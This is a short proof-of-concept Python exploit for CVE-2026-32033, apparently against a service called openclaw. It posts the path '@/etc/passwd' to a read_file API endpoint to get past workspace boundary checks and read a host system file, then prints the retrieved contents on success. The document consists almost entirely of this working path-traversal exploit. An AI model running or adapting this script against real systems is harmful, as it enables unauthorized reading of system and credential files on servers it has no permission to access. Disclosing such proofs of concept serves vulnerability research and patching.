CVE-2026-32033

# Proof of Concept for CVE-2026-32033 # This script demonstrates how to bypass workspace boundary checks using the '@' prefix. import requests target_url = "http://vulnerable-openclaw-instance:8080/api/read_file" # The payload uses an '@' prefix to bypass workspace validation # attempting to read /etc/passwd from the host system payload = { "path": "@/etc/passwd" } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")
